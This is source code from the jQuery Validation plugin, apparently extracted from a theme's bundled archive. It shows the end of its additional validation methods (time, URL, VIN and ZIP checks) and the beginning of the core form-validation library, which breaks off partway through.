}, $.validator.format( "Please enter at least {0} characters." ) );

$.validator.addMethod( "time", function( value, element ) {
	return this.optional( element ) || /^([01]\d|2[0-3]|[0-9])(:[0-5]\d){1,2}$/.test( value );
}, "Please enter a valid time, between 00:00 and 23:59." );

$.validator.addMethod( "time12h", function( value, element ) {
	return this.optional( element ) || /^((0?[1-9]|1[012])(:[0-5]\d){1,2}(\ ?[AP]M))$/i.test( value );
}, "Please enter a valid time in 12-hour am/pm format." );

// Same as url, but TLD is optional
$.validator.addMethod( "url2", function( value, element ) {
	return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?)|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff])|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62}\.)))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value );
}, $.validator.messages.url );

/**
 * Return true, if the value is a valid vehicle identification number (VIN).
 *
 * Works with all kind of text inputs.
 *
 * @example <input type="text" size="20" name="VehicleID" class="{required:true,vinUS:true}" />
 * @desc Declares a required input element whose value must be a valid vehicle identification number.
 *
 * @name $.validator.methods.vinUS
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "vinUS", function( v ) {
    if ( v.length !== 17 ) {
        return false;
    }

    var LL = [ "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ],
        VL = [ 1, 2, 3, 4, 5, 6, 7, 8, 1, 2, 3, 4, 5, 7, 9, 2, 3, 4, 5, 6, 7, 8, 9 ],
        FL = [ 8, 7, 6, 5, 4, 3, 2, 10, 0, 9, 8, 7, 6, 5, 4, 3, 2 ],
        rs = 0,
        i, n, d, f, cd, cdv;

    for ( i = 0; i < 17; i++ ) {
        f = FL[ i ];
        d = v.slice( i, i + 1 );
        if ( isNaN( d ) ) {
            d = d.toUpperCase();
            n = VL[ LL.indexOf( d ) ];
        } else {
            n = parseInt( d, 10 );
        }
        if ( i === 8 )
        {
            cdv = n;
            if ( d === "X" ) {
                cdv = 10;
            }
        }
        rs += n * f;
    }
    cd = rs % 11;
    if ( cd === cdv ) {
        return true;
    }
    return false;
}, "The specified vehicle identification number (VIN) is invalid." );

$.validator.addMethod( "zipcodeUS", function( value, element ) {
	return this.optional( element ) || /^\d{5}(-\d{4})?$/.test( value );
}, "The specified US ZIP Code is invalid." );

$.validator.addMethod( "ziprange", function( value, element ) {
	return this.optional( element ) || /^90[2-5]\d\{2\}-\d{4}$/.test( value );
}, "Your ZIP-code must be in the range 902xx-xxxx to 905xx-xxxx." );
return $;
}));PK     N\3z    ;  inc/dashboard/lib/meta-box/js/validation/jquery.validate.jsnu [        /*!
 * jQuery Validation Plugin v1.20.0
 *
 * https://jqueryvalidation.org/
 *
 * Copyright (c) 2023 Jörn Zaefferer
 * Released under the MIT license
 */
(function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

$.extend( $.fn, {

	// https://jqueryvalidation.org/validate/
	validate: function( options ) {

		// If nothing is selected, return nothing; can't chain anyway
		if ( !this.length ) {
			if ( options && options.debug && window.console ) {
				console.warn( "Nothing selected, can't validate, returning nothing." );
			}
			return;
		}

		// Check if a validator for this form was already created
		var validator = $.data( this[ 0 ], "validator" );
		if ( validator ) {
			return validator;
		}

		// Add novalidate tag if HTML5.
		this.attr( "novalidate", "novalidate" );

		validator = new $.validator( options, this[ 0 ] );
		$.data( this[ 0 ], "validator", validator );

		if ( validator.settings.onsubmit ) {

			this.on( "click.validate", ":submit", function( event ) {

				// Track the used submit button to properly handle scripted
				// submits later.
				validator.submitButton = event.currentTarget;

				// Allow suppressing validation by adding a cancel class to the submit button
				if ( $( this ).hasClass( "cancel" ) ) {
					validator.cancelSubmit = true;
				}

				// Allow suppressing validation by adding the html5 formnovalidate attribute to the submit button
				if ( $( this ).attr( "formnovalidate" ) !== undefined ) {
					validator.cancelSubmit = true;
				}
			} );

			// Validate the form on submit
			this.on( "submit.validate", function( event ) {
				if ( validator.settings.debug ) {

					// Prevent form submit to be able to see console output
					event.preventDefault();
				}

				function handle() {
					var hidden, result;

					// Insert a hidden input as a replacement for the missing submit button
					// The hidden input is inserted in two cases:
					//   - A user defined a `submitHandler`
					//   - There was a pending request due to `remote` method and `stopRequest()`
					//     was called to submit the form in case it's valid
					if ( validator.submitButton && ( validator.settings.submitHandler || validator.formSubmitted ) ) {
						hidden = $( "<input type='hidden'/>" )
							.attr( "name", validator.submitButton.name )
							.val( $( validator.submitButton ).val() )
							.appendTo( validator.currentForm );
					}

					if ( validator.settings.submitHandler && !validator.settings.debug ) {
						result = validator.settings.submitHandler.call( validator, validator.currentForm, event );
						if ( hidden ) {

							// And clean up afterwards; thanks to no-block-scope, hidden can be referenced
							hidden.remove();
						}
						if ( result !== undefined ) {
							return result;
						}
						return false;
					}
					return true;
				}

				// Prevent submit for invalid forms or custom submit handlers
				if ( validator.cancelSubmit ) {
					validator.cancelSubmit = false;
					return handle();
				}
				if ( validator.form() ) {
					if ( validator.pendingRequest ) {
						validator.formSubmitted = true;
						return false;
					}
					return handle();
				} else {
					validator.focusInvalid();
					return false;
				}
			} );
		}

		return validator;
	},

	// https://jqueryvalidation.org/valid/
	valid: function() {
		var valid, validator, errorList;

		if ( $( this[ 0 ] ).is( "form" ) ) {
			valid = this.validate().form();
		} else {
			errorList = [];
			valid = true;
			validator = $( this[ 0 ].form ).validate();
			this.each( function() {
				valid = validator.element( this ) && valid;
				if ( !valid ) {
					errorList = errorList.concat( validator.errorList );
				}
			} );
			validator.errorList = errorList;
		}
		return valid;
	},

	// https://jqueryvalidation.org/rules/
	rules: function( command, argument ) {
		var element = this[ 0 ],
			isContentEditable = typeof this.attr( "contenteditable" ) !== "undefined" && this.attr( "contenteditable" ) !== "false",
			settings, staticRules, existingRules, data, param, filtered;

		// If nothing is selected, return empty object; can't chain anyway
		if ( element == null ) {
			return;
		}

		if ( !element.form && isContentEditable ) {
			element.form = this.closest( "form" )[ 0 ];
			element.name = this.attr( "name" );
		}

		if ( element.form == null ) {
			return;
		}

		if ( command ) {
			settings = $.data( element.form, "validator" ).settings;
			staticRules = settings.rules;
			existingRules = $.validator.staticRules( element );
			switch ( command ) {
			case "add":
				$.extend( existingRules, $.validator.normalizeRule( argument ) );

				// Remove messages from rules, but allow them to be set separately
				delete existingRules.messages;
				staticRules[ element.name ] = existingRules;
				if ( argument.messages ) {
					settings.messages[ element.name ] = $.extend( settings.messages[ element.name ], argument.messages );
				}
				break;
			case "remove":
				if ( !argument ) {
					delete staticRules[ element.name ];
					return existingRules;
				}
				filtered = {};
				$.each( argument.split( /\s/ ), function( index, method ) {
					filtered[ method ] = existingRules[ method ];
					delete existingRules[ method ];
				} );
				return filtered;
			}
		}

		data = $.validator.normalizeRules(
		$.extend(
			{},
			$.validator.classRules( element ),
			$.validator.attributeRules( element ),
			$.validator.dataRules( element ),
			$.validator.staticRules( element )
		), element );

		// Make sure required is at front
		if ( data.required ) {
			param = data.required;
			delete data.required;
			data = $.extend( { required: param }, data );
		}

		// Make sure remote is at back
		if ( data.remote ) {
			param = data.remote;
			delete data.remote;
			data = $.extend( data, { remote: param } );
		}

		return data;
	}
} );

// JQuery trim is deprecated, provide a trim method based on String.prototype.trim
var trim = function( str ) {

	// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trim#Polyfill
	return str.replace( /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "" );
};

// Custom selectors
$.extend( $.expr.pseudos || $.expr[ ":" ], {		// '|| $.expr[ ":" ]' here enables backwards compatibility to jQuery 1.7. Can be removed when dropping jQ 1.7.x support

	// https://jqueryvalidation.org/blank-selector/
	blank: function( a ) {
		return !trim( "" + $( a ).val() );
	},

	// https://jqueryvalidation.org/filled-selector/
	filled: function( a ) {
		var val = $( a ).val();
		return val !== null && !!trim( "" + val );
	},

	// https://jqueryvalidation.org/unchecked-selector/
	unchecked: function( a ) {
		return !$( a ).prop( "checked" );
	}
} );

// Constructor for validator
$.validator = function( options, form ) {
	this.settings = $.extend( true, {}, $.validator.defaults, options );
	this.currentForm = form;
	this.init();
};

// https://jqueryvalidation.org/jQuery.validator.format/
$.validator.format = function( source, params ) {
	if ( arguments.length === 1 ) {
		return function() {
			var args = $.makeArray( arguments );
			args.unshift( source );
			return $.validator.format.apply( this, args );
		};
	}
	if ( params === undefined ) {
		return source;
	}
	if ( arguments.length > 2 && params.constructor !== Array  ) {
		params = $.makeArray( arguments ).slice( 1 );
	}
	if ( params.constructor !== Array ) {
		params = [ params ];
	}
	$.each( params, function( i, n ) {
		source = source.replace( new RegExp( "\\{" + i + "\\}", "g" ), function() {
			return n;
		} );
	} );
	return source;
};

$.extend( $.validator, {

	defaults: {
		messages: {},
		groups: {},
		rules: {},
		errorClass: "error",
		pendingClass: "pending",
		validClass: "valid",
		errorElement: "label",
		focusCleanup: false,
		focusInvalid: true,
		errorContainer: $( [] ),
		errorLabelContainer: $( [] ),
		onsubmit: true,
		ignore: ":hidden",
		ignoreTitle: false,
		onfocusin: function( element ) {
			this.lastActive = element;

			// Hide error label and remove error class on focus if enabled
			if ( this.settings.focusCleanup ) {
				if ( this.settings.unhighlight ) {
					this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );
				}
				this.hideThese( this.errorsFor( element ) );
			}
		},
		onfocusout: function( element ) {
			if ( !this.checkable( element ) && ( element.name in this.submitted || !this.optional( element ) ) ) {
				this.element( element );
			}
		},
		onkeyup: function( element, event ) {

			// Avoid revalidate the field when pressing one of the following keys
			// Shift       => 16
			// Ctrl        => 17
			// Alt         => 18
			// Caps lock   => 20
			// End         => 35
			// Home        => 36
			// Left arrow  => 37
			// Up arrow    => 38
			// Right arrow => 39
			// Down arrow  => 40
			// Insert      => 45
			// Num lock    => 144
			// AltGr key   => 225
			var excludedKeys = [
				16, 17, 18, 20, 35, 36, 37,
				38, 39, 40, 45, 144, 225
			];

			if ( event.which === 9 && this.elementValue( element ) === "" || $.inArray( event.keyCode, excludedKeys ) !== -1 ) {
				return;
			} else if ( element.name in this.submitted || element.name in this.invalid ) {
				this.element( element );
			}
		},
		onclick: function( element ) {

			// Click on selects, radiobuttons and checkboxes
			if ( element.name in this.submitted ) {
				this.element( element );

			// Or option elements, check parent select in that case
			} else if ( element.parentNode.name in this.submitted ) {
				this.element( element.parentNode );
			}
		},
		highlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName( element.name ).addClass( errorClass ).removeClass( validClass );
			} else {
				$( element ).addClass( errorClass ).removeClass( validClass );
			}
		},
		unhighlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName( element.name ).removeClass( errorClass ).addClass( validClass );
			} else {
				$( element ).removeClass( errorClass ).addClass( validClass );
			}
		}
	},

	// https://jqueryvalidation.org/jQuery.validator.setDefaults/
	setDefaults: function( settings ) {
		$.extend( $.validator.defaults, settings );
	},

	messages: {
		required: "This field is required.",
		remote: "Please fix this field.",
		email: "Please enter a valid email address.",
		url: "Please enter a valid URL.",
		date: "Please enter a valid date.",
		dateISO: "Please enter a valid date (ISO).",
		number: "Please enter a valid number.",
		digits: "Please enter only digits.",
		equalTo: "Please enter the same value again.",
		maxlength: $.validator.format( "Please enter no more than {0} characters." ),
		minlength: $.validator.format( "Please enter at least {0} characters." ),
		rangelength: $.validator.format( "Please enter a value between {0} and {1} characters long." ),
		range: $.validator.format( "Please enter a value between {0} and {1}." ),
		max: $.validator.format( "Please enter a value less than or equal to {0}." ),
		min: $.validator.format( "Please enter a value greater than or equal to {0}." ),
		step: $.validator.format( "Please enter a multiple of {0}." )
	},

	autoCreateRanges: false,

	prototype: {

		init: function() {
			this.labelContainer = $( this.settings.errorLabelContainer );
			this.errorContext = this.labelContainer.length && this.labelContainer || $( this.currentForm );
			this.containers = $( this.settings.errorContainer ).add( this.settings.errorLabelContainer );
			this.submitted = {};
			this.valueCache = {};
			this.pendingRequest = 0;
			this.pending = {};
			this.invalid = {};
			this.reset();

			var currentForm = this.currentForm,
				groups = ( this.groups = {} ),
				rules;
			$.each( this.settings.groups, function( key, value ) {
				if ( typeof value === "string" ) {
					value = value.split( /\s/ );
				}
				$.each( value, function( index, name ) {
					groups[ name ] = key;
				} );
			} );
			rules = this.settings.rules;
			$.each( rules, function( key, value ) {
				rules[ key ] = $.validator.normalizeRule( value );
			} );

			function delegate( event ) {
				var isContentEditable = typeof $( this ).attr( "contenteditable" ) !== "undefined" && $( this ).attr( "contenteditable" ) !== "false";

				// Set form expando on contenteditable
				if ( !this.form && isContentEditable ) {
					this.form = $( this ).closest( "form" )[ 0 ];
					this.name = $( this ).attr( "name" );
				}

				// Ignore the element if it belongs to another form. This will happen mainly
				// when setting the `form` attribute of an input to the id of another form.
				if ( currentForm !== this.form ) {
					return;
				}

				var validator = $.data( this.form, "validator" ),
					eventType = "on" + event.type.replace( /^validate/, "" ),
					settings = validator.settings;
				if ( settings[ eventType ] && !$( this ).is( settings.ignore ) ) {
					settings[ eventType ].call( validator, this, event );
				}
			}

			$( this.currentForm )
				.on( "focusin.validate focusout.validate keyup.validate",
					":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], " +
					"[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], " +
					"[type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], " +
					"[type='radio'], [type='checkbox'], [contenteditable], [type='button']", delegate )

				// Support: Chrome, oldIE
				// "select" is provided as event.target when clicking a option
				.on( "click.validate", "select, option, [type='radio'], [type='checkbox']", delegate );

			if ( this.settings.invalidHandler ) {
				$( this.currentForm ).on( "invalid-form.validate", this.settings.invalidHandler );
			}
		},

		// https://jqueryvalidation.org/Validator.form/
		form: function() {
			this.checkForm();
			$.extend( this.submitted, this.errorMap );
			this.invalid = $.extend( {}, this.errorMap );
			if ( !this.valid() ) {
				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
			}
			this.showErrors();
			return this.valid();
		},

		checkForm: function() {
			this.prepareForm();
			for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {
				this.check( elements[ i ] );
			}
			return this.valid();
		},

		// https://jqueryvalidation.org/Validator.element/
		element: function( element ) {
			var cleanElement = this.clean( element ),
				checkElement = this.validationTargetFor( cleanElement ),
				v = this,
				result = true,
				rs, group;

			if ( checkElement === undefined ) {
				delete this.invalid[ cleanElement.name ];
			} else {
				this.prepareElement( checkElement );
				this.currentElements = $( checkElement );

				// If this element is grouped, then validate all group elements already
				// containing a value
				group = this.groups[ checkElement.name ];
				if ( group ) {
					$.each( this.groups, function( name, testgroup ) {
						if ( testgroup === group && name !== checkElement.name ) {
							cleanElement = v.validationTargetFor( v.clean( v.findByName( name ) ) );
							if ( cleanElement && cleanElement.name in v.invalid ) {
								v.currentElements.push( cleanElement );
								result = v.check( cleanElement ) && result;
							}
						}
					} );
				}

				rs = this.check( checkElement ) !== false;
				result = result && rs;
				if ( rs ) {
					this.invalid[ checkElement.name ] = false;
				} else {
					this.invalid[ checkElement.name ] = true;
				}

				if ( !this.numberOfInvalids() ) {

					// Hide error containers on last error
					this.toHide = this.toHide.add( this.containers );
				}
				this.showErrors();

				// Add aria-invalid status for screen readers
				$( element ).attr( "aria-invalid", !rs );
			}

			return result;
		},

		// https://jqueryvalidation.org/Validator.showErrors/
		showErrors: function( errors ) {
			if ( errors ) {
				var validator = this;

				// Add items to error list and map
				$.extend( this.errorMap, errors );
				this.errorList = $.map( this.errorMap, function( message, name ) {
					return {
						message: message,
						element: validator.findByName( name )[ 0 ]
					};
				} );

				// Remove items from success list
				this.successList = $.grep( this.successList, function( element ) {
					return !( element.name in errors );
				} );
			}
			if ( this.settings.showErrors ) {
				this.settings.showErrors.call( this, this.errorMap, this.errorList );
			} else {
				this.defaultShowErrors();
			}
		},

		// https://jqueryvalidation.org/Validator.resetForm/
		resetForm: function() {
			if ( $.fn.resetForm ) {
				$( this.currentForm ).resetForm();
			}
			this.invalid = {};
			this.submitted = {};
			this.prepareForm();
			this.hideErrors();
			var elements = this.elements()
				.removeData( "previousValue" )
				.removeAttr( "aria-invalid" );

			this.resetElements( elements );
		},

		resetElements: function( elements ) {
			var i;

			if ( this.settings.unhighlight ) {
				for ( i = 0; elements[ i ]; i++ ) {
					this.settings.unhighlight.call( this, elements[ i ],
						this.settings.errorClass, "" );
					this.findByName( elements[ i ].name ).removeClass( this.settings.validClass );
				}
			} else {
				elements
					.removeClass( this.settings.errorClass )
					.removeClass( this.settings.validClass );
			}
		},

		numberOfInvalids: function() {
			return this.objectLength( this.invalid );
		},

		objectLength: function( obj ) {
			/* jshint unused: false */
			var count = 0,
				i;
			for ( i in obj ) {

				// This check allows counting elements with empty error
				// message as invalid elements
				if ( obj[ i ] !== undefined && obj[ i ] !== null && obj[ i ] !== false ) {
					count++;
				}
			}
			return count;
		},

		hideErrors: function() {
			this.hideThese( this.toHide );
		},

		hideThese: function( errors ) {
			errors.not( this.containers ).text( "" );
			this.addWrapper( errors ).hide();
		},

		valid: function() {
			return this.size() === 0;
		},

		size: function() {
			return this.errorList.length;
		},

		focusInvalid: function() {
			if ( this.settings.focusInvalid ) {
				try {
					$( this.findLastActive() || this.errorList.length && this.errorList[ 0 ].element || [] )
					.filter( ":visible" )
					.trigger( "focus" )

					// Manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find
					.trigger( "focusin" );
				} catch ( e ) {

					// Ignore IE throwing errors when focusing hidden elements
				}
			}
		},

		findLastActive: function() {
			var lastActive = this.lastActive;
			return lastActive && $.grep( this.errorList, function( n ) {
				return n.element.name === lastActive.name;
			} ).length === 1 && lastActive;
		},

		elements: function() {
			var validator = this,
				rulesCache = {};

			// Select all valid inputs inside the form (no submit or reset buttons)
			return $( this.currentForm )
			.find( "input, select, textarea, [contenteditable]" )
			.not( ":submit, :reset, :image, :disabled" )
			.not( this.settings.ignore )
			.filter( function() {
				var name = this.name || $( this ).attr( "name" ); // For contenteditable
				var isContentEditable = typeof $( this ).attr( "contenteditable" ) !== "undefined" && $( this ).attr( "contenteditable" ) !== "false";

				if ( !name && validator.settings.debug && window.console ) {
					console.error( "%o has no name assigned", this );
				}

				// Set form expando on contenteditable
				if ( isContentEditable ) {
					this.form = $( this ).closest( "form" )[ 0 ];
					this.name = name;
				}

				// Ignore elements that belong to other/nested forms
				if ( this.form !== validator.currentForm ) {
					return false;
				}

				// Select only the first element for each name, and only those with rules specified
				if ( name in rulesCache || !validator.objectLength( $( this ).rules() ) ) {
					return false;
				}

				rulesCache[ name ] = true;
				return true;
			} );
		},

		clean: function( selector ) {
			return $( selector )[ 0 ];
		},

		errors: function() {
			var errorClass = this.settings.errorClass.split( " " ).join( "." );
			return $( this.settings.errorElement + "." + errorClass, this.errorContext );
		},

		resetInternals: function() {
			this.successList = [];
			this.errorList = [];
			this.errorMap = {};
			this.toShow = $( [] );
			this.toHide = $( [] );
		},

		reset: function() {
			this.resetInternals();
			this.currentElements = $( [] );
		},

		prepareForm: function() {
			this.reset();
			this.toHide = this.errors().add( this.containers );
		},

		prepareElement: function( element ) {
			this.reset();
			this.toHide = this.errorsFor( element );
		},

		elementValue: function( element ) {
			var $element = $( element ),
				type = element.type,
				isContentEditable = typeof $element.attr( "contenteditable" ) !== "undefined" && $element.attr( "contenteditable" ) !== "false",
				val, idx;

			if ( type === "radio" || type === "checkbox" ) {
				return this.findByName( element.name ).filter( ":checked" ).val();
			} else if ( type === "number" && typeof element.validity !== "undefined" ) {
				return element.validity.badInput ? "NaN" : $element.val();
			}

			if ( isContentEditable ) {
				val = $element.text();
			} else {
				val = $element.val();
			}

			if ( type === "file" ) {

				// Modern browser (chrome & safari)
				if ( val.substr( 0, 12 ) === "C:\\fakepath\\" ) {
					return val.substr( 12 );
				}

				// Legacy browsers
				// Unix-based path
				idx = val.lastIndexOf( "/" );
				if ( idx >= 0 ) {
					return val.substr( idx + 1 );
				}

				// Windows-based path
				idx = val.lastIndexOf( "\\" );
				if ( idx >= 0 ) {
					return val.substr( idx + 1 );
				}

				// Just the file name
				return val;
			}

			if ( typeof val === "string" ) {
				return val.replace( /\r/g, "" );
			}
			return val;
		},

		check: function( element ) {
			element = this.validationTargetFor( this.clean( element ) );

			var rules = $( element ).rules(),
				rulesCount = $.map( rules, function( n, i ) {
					return i;
				} ).length,
				dependencyMismatch = false,
				val = this.elementValue( element ),
				result, method, rule, normalizer;

			// Abort any pending Ajax request from a previous call to this method.
			this.abortRequest( element );

			// Prioritize the local normalizer defined for this element over the global one
			// if the former exists, otherwise user the global one in case it exists.
			if ( typeof rules.normalizer === "function" ) {
				normalizer = rules.normalizer;
			} else if (	typeof this.settings.normalizer === "function" ) {
				normalizer = this.settings.normalizer;
			}

			// If normalizer is defined, then call it to retreive the changed value instead
			// of using the real one.
			// Note that `this` in the normalizer is `element`.
			if ( normalizer ) {
				val = normalizer.call( element, val );

				// Delete the normalizer from rules to avoid treating it as a pre-defined method.
				delete rules.normalizer;
			}

			for ( method in rules ) {
				rule = { method: method, parameters: rules[ method ] };
				try {
					result = $.validator.methods[ method ].call( this, val, element, rule.parameters );

					// If a method indicates that the field is optional and therefore valid,
					// don't mark it as valid when there are no other rules
					if ( result === "dependency-mismatch" && rulesCount === 1 ) {
						dependencyMismatch = true;
						continue;
					}
					dependencyMismatch = false;

					if ( result === "pending" ) {
						this.toHide = this.toHide.not( this.errorsFor( element ) );
						return;
					}

					if ( !result ) {
						this.formatAndAdd( element, rule );
						return false;
					}
				} catch ( e ) {
					if ( this.settings.debug && window.console ) {
						console.log( "Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.", e );
					}
					if ( e instanceof TypeError ) {
						e.message += ".  Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.";
					}

					throw e;
				}
			}
			if ( dependencyMismatch ) {
				return;
			}
			if ( this.objectLength( rules ) ) {
				this.successList.push( element );
			}
			return true;
		},

		// Return the custom message for the given element and validation method
		// specified in the element's HTML5 data attribute
		// return the generic message if present and no method specific message is present
		customDataMessage: function( element, method ) {
			return $( element ).data( "msg" + method.charAt( 0 ).toUpperCase() +
				method.substring( 1 ).toLowerCase() ) || $( element ).data( "msg" );
		},

		// Return the custom message for the given element name and validation method
		customMessage: function( name, method ) {
			var m = this.settings.messages[ name ];
			return m && ( m.constructor === String ? m : m[ method ] );
		},

		// Return the first defined argument, allowing empty strings
		findDefined: function() {
			for ( var i = 0; i < arguments.length; i++ ) {
				if ( arguments[ i ] !== undefined ) {
					return arguments[ i ];
				}
			}
			return undefined;
		},

		// The second parameter 'rule' used to be a string, and extended to an object literal
		// of the following form:
		// rule = {
		//     method: "method name",
		//     parameters: "the given method parameters"
		// }
		//
		// The old behavior still supported, kept to maintain backward compatibility with
		// old code, and will be removed in the next major release.
		defaultMessage: function( element, rule ) {
			if ( typeof rule === "string" ) {
				rule = { method: rule };
			}

			var message = this.findDefined(
					this.customMessage( element.name, rule.method ),
					this.customDataMessage( element, rule.method ),

					// 'title' is never undefined, so handle empty string as undefined
					!this.settings.ignoreTitle && element.title || undefined,
					$.validator.messages[ rule.method ],
					"<strong>Warning: No message defined for " + element.name + "</strong>"
				),
				theregex = /\$?\{(\d+)\}/g;
			if ( typeof message === "function" ) {
				message = message.call( this, rule.parameters, element );
			} else if ( theregex.test( message ) ) {
				message = $.validator.format( message.replace( theregex, "{$1}" ), rule.parameters );
			}

			return message;
		},

		formatAndAdd: function( element, rule ) {
			var message = this.defaultMessage( element, rule );

			this.errorList.push( {
				message: message,
				element: element,
				method: rule.method
			} );

			this.errorMap[ element.name ] = message;
			this.submitted[ element.name ] = message;
		},

		addWrapper: function( toToggle ) {
			if ( this.settings.wrapper ) {
				toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );
			}
			return toToggle;
		},

		defaultShowErrors: function() {
			var i, elements, error;
			for ( i = 0; this.errorList[ i ]; i++ ) {
				error = this.errorList[ i ];
				if ( this.settings.highlight ) {
					this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );
				}
				this.showLabel( error.element, error.message );
			}
			if ( this.errorList.length ) {
				this.toShow = this.toShow.add( this.containers );
			}
			if ( this.settings.success ) {
				for ( i = 0; this.successList[ i ]; i++ ) {
					this.showLabel( this.successList[ i ] );
				}
			}
			if ( this.settings.unhighlight ) {
				for ( i = 0, elements = this.validElements(); elements[ i ]; i++ ) {
					this.settings.unhighlight.call( this, elements[ i ], this.settings.errorClass, this.settings.validClass );
				}
			}
			this.toHide = this.toHide.not( this.toShow );
			this.hideErrors();
			this.addWrapper( this.toShow ).show();
		},

		validElements: function() {
			return this.currentElements.not( this.invalidElements() );
		},

		invalidElements: function() {
			return $( this.errorList ).map( function() {
				return this.element;
			} );
		},

		showLabel: function( element, message ) {
			var place, group, errorID, v,
				error = this.errorsFor( element ),
				elementID = this.idOrName( element ),
				describedBy = $( element ).attr( "aria-describedby" );

			if ( error.length ) {

				// Refresh error/success class
				error.removeClass( this.settings.validClass ).addClass( this.settings.errorClass );

				// Replace message on existing label
				if ( this.settings && this.settings.escapeHtml ) {
					error.text( message || "" );
				} else {
					error.html( message || "" );
				}
			} else {

				// Create error element
				error = $( "<" + this.settings.errorElement + ">" )
					.attr( "id", elementID + "-error" )
					.addClass( this.settings.errorClass );

				if ( this.settings && this.settings.escapeHtml ) {
					error.text( message || "" );
				} else {
					error.html( message || "" );
				}

				// Maintain reference to the element to be placed into the DOM
				place = error;
				if ( this.settings.wrapper ) {

					// Make sure the element is visible, even in IE
					// actually showing the wrapped element is handled elsewhere
					place = error.hide().show().wrap( "<" + this.settings.wrapper + "/>" ).parent();
				}
				if ( this.labelContainer.length ) {
					this.labelContainer.append( place );
				} else if ( this.settings.errorPlacement ) {
					this.settings.errorPlacement.call( this, place, $( element ) );
				} else {
					place.insertAfter( element );
				}

				// Link error back to the element
				if ( error.is( "label" ) ) {

					// If the error is a label, then associate using 'for'
					error.attr( "for", elementID );

					// If the element is not a child of an associated label, then it's necessary
					// to explicitly apply aria-describedby
				} else if ( error.parents( "label[for='" + this.escapeCssMeta( elementID ) + "']" ).length === 0 ) {
					errorID = error.attr( "id" );

					// Respect existing non-error aria-describedby
					if ( !describedBy ) {
						describedBy = errorID;
					} else if ( !describedBy.match( new RegExp( "\\b" + this.escapeCssMeta( errorID ) + "\\b" ) ) ) {

						// Add to end of list if not already present
						describedBy += " " + errorID;
					}
					$( element ).attr( "aria-describedby", describedBy );

					// If this element is grouped, then assign to all elements in the same group
					group = this.groups[ element.name ];
					if ( group ) {
						v = this;
						$.each( v.groups, function( name, testgroup ) {
							if ( testgroup === group ) {
								$( "[name='" + v.escapeCssMeta( name ) + "']", v.currentForm )
									.attr( "aria-describedby", error.attr( "id" ) );
							}
						} );
					}
				}
			}
			if ( !message && this.settings.success ) {
				error.text( "" );
				if ( typeof this.settings.success === "string" ) {
					error.addClass( this.settings.success );
				} else {
					this.settings.success( error, element );
				}
			}
			this.toShow = this.toShow.add( error );
		},

		errorsFor: function( element ) {
			var name = this.escapeCssMeta( this.idOrName( element ) ),
				describer = $( element ).attr( "aria-describedby" ),
				selector = "label[for='" + name + "'], label[for='" + name + "'] *";

			// 'aria-describedby' should directly reference the error element
			if ( describer ) {
				selector = selector + ", #" + this.escapeCssMeta( describer )
					.replace( /\s+/g, ", #" );
			}

			return this
				.errors()
				.filter( selector );
		},

		// See https://api.jquery.com/category/selectors/, for CSS
		// meta-characters that should be escaped in order to be used with JQuery
		// as a literal part of a name/id or any selector.
		escapeCssMeta: function( string ) {
			if ( string === undefined ) {
				return "";
			}

			return string.replace( /([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g, "\\$1" );
		},

		idOrName: function( element ) {
			return this.groups[ element.name ] || ( this.checkable( element ) ? element.name : element.id || element.name );
		},

		validationTargetFor: function( element ) {

			// If radio/checkbox, validate first element in group instead
			if ( this.checkable( element ) ) {
				element = this.findByName( element.name );
			}

			// Always apply ignore filter
			return $( element ).not( this.settings.ignore )[ 0 ];
		},

		checkable: function( element ) {
			return ( /radio|checkbox/i ).test( element.type );
		},

		findByName: function( name ) {
			return $( this.currentForm ).find( "[name='" + this.escapeCssMeta( name ) + "']" );
		},

		getLength: function( value, element ) {
			switch ( element.nodeName.toLowerCase() ) {
			case "select":
				return $( "option:selected", element ).length;
			case "input":
				if ( this.checkable( element ) ) {
					return this.findByName( element.name ).filter( ":checked" ).length;
				}
			}
			return value.length;
		},

		depend: function( param, element ) {
